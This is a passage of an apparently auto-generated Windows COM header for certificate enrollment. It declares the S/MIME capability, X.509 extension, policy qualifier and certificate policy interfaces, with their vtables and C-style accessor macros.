_In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapability **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ISmimeCapability *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddFromCsp )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddAvailableSmimeCapabilities )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ VARIANT_BOOL MachineContext);\n        \n        END_INTERFACE\n    } ISmimeCapabilitiesVtbl;\n\n    interface ISmimeCapabilities\n    {\n        CONST_VTBL struct ISmimeCapabilitiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISmimeCapabilities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISmimeCapabilities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISmimeCapabilities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISmimeCapabilities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISmimeCapabilities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISmimeCapabilities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISmimeCapabilities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISmimeCapabilities_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ISmimeCapabilities_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ISmimeCapabilities_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ISmimeCapabilities_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ISmimeCapabilities_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ISmimeCapabilities_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ISmimeCapabilities_AddFromCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddFromCsp(This,pValue) ) \n\n#define ISmimeCapabilities_AddAvailableSmimeCapabilities(This,MachineContext)\t\\\n    ( (This)->lpVtbl -> AddAvailableSmimeCapabilities(This,MachineContext) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISmimeCapabilities_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__\n#define __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionSmimeCapabilities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionSmimeCapabilities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionSmimeCapabilities : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt ISmimeCapabilities *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SmimeCapabilities( \n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapabilities **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionSmimeCapabilitiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionSmimeCapabilities * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ __RPC__in_opt ISmimeCapabilities *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509ExtensionSmimeCapabilities * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapabilities **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionSmimeCapabilitiesVtbl;\n\n    interface IX509ExtensionSmimeCapabilities\n    {\n        CONST_VTBL struct IX509ExtensionSmimeCapabilitiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionSmimeCapabilities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionSmimeCapabilities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionSmimeCapabilities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionSmimeCapabilities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionSmimeCapabilities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionSmimeCapabilities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionSmimeCapabilities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionSmimeCapabilities_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSmimeCapabilities_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionSmimeCapabilities_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionSmimeCapabilities_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionSmimeCapabilities_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSmimeCapabilities_get_SmimeCapabilities(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionSmimeCapabilities_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0031 */\n/* [local] */ \n\ntypedef \nenum PolicyQualifierType\n    {\n        PolicyQualifierTypeUnknown\t= 0,\n        PolicyQualifierTypeUrl\t= 1,\n        PolicyQualifierTypeUserNotice\t= 2,\n        PolicyQualifierTypeFlags\t= 3\n    } \tPolicyQualifierType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0031_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0031_v0_0_s_ifspec;\n\n#ifndef __IPolicyQualifier_INTERFACE_DEFINED__\n#define __IPolicyQualifier_INTERFACE_DEFINED__\n\n/* interface IPolicyQualifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IPolicyQualifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31c-217d-11da-b2a4-000e7bbb2b09\")\n    IPolicyQualifier : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strQualifier,\n            /* [in] */ PolicyQualifierType Type) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Qualifier( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out PolicyQualifierType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IPolicyQualifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IPolicyQualifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IPolicyQualifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IPolicyQualifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IPolicyQualifier * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ __RPC__in BSTR strQualifier,\n            /* [in] */ PolicyQualifierType Type);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Qualifier )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IPolicyQualifier * This,\n            /* [retval][out] */ __RPC__out PolicyQualifierType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IPolicyQualifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IPolicyQualifierVtbl;\n\n    interface IPolicyQualifier\n    {\n        CONST_VTBL struct IPolicyQualifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IPolicyQualifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IPolicyQualifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IPolicyQualifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IPolicyQualifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IPolicyQualifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IPolicyQualifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IPolicyQualifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IPolicyQualifier_InitializeEncode(This,strQualifier,Type)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strQualifier,Type) ) \n\n#define IPolicyQualifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IPolicyQualifier_get_Qualifier(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Qualifier(This,pValue) ) \n\n#define IPolicyQualifier_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IPolicyQualifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IPolicyQualifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __IPolicyQualifiers_INTERFACE_DEFINED__\n#define __IPolicyQualifiers_INTERFACE_DEFINED__\n\n/* interface IPolicyQualifiers */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IPolicyQualifiers;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31d-217d-11da-b2a4-000e7bbb2b09\")\n    IPolicyQualifiers : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifier **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IPolicyQualifier *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IPolicyQualifiersVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IPolicyQualifiers * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifier **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ __RPC__in_opt IPolicyQualifier *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IPolicyQualifiers * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IPolicyQualifiers * This);\n        \n        END_INTERFACE\n    } IPolicyQualifiersVtbl;\n\n    interface IPolicyQualifiers\n    {\n        CONST_VTBL struct IPolicyQualifiersVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IPolicyQualifiers_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IPolicyQualifiers_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IPolicyQualifiers_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IPolicyQualifiers_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IPolicyQualifiers_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IPolicyQualifiers_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IPolicyQualifiers_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IPolicyQualifiers_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IPolicyQualifiers_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IPolicyQualifiers_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IPolicyQualifiers_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IPolicyQualifiers_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IPolicyQualifiers_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IPolicyQualifiers_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificatePolicy_INTERFACE_DEFINED__\n#define __ICertificatePolicy_INTERFACE_DEFINED__\n\n/* interface ICertificatePolicy */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificatePolicy;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31e-217d-11da-b2a4-000e7bbb2b09\")\n    ICertificatePolicy : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyQualifiers( \n            /* [retval][out] */ __RPC__deref_out_opt IPolicyQualifiers **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificatePolicyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificatePolicy * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificatePolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificatePolicy * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificatePolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificatePolicy * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* 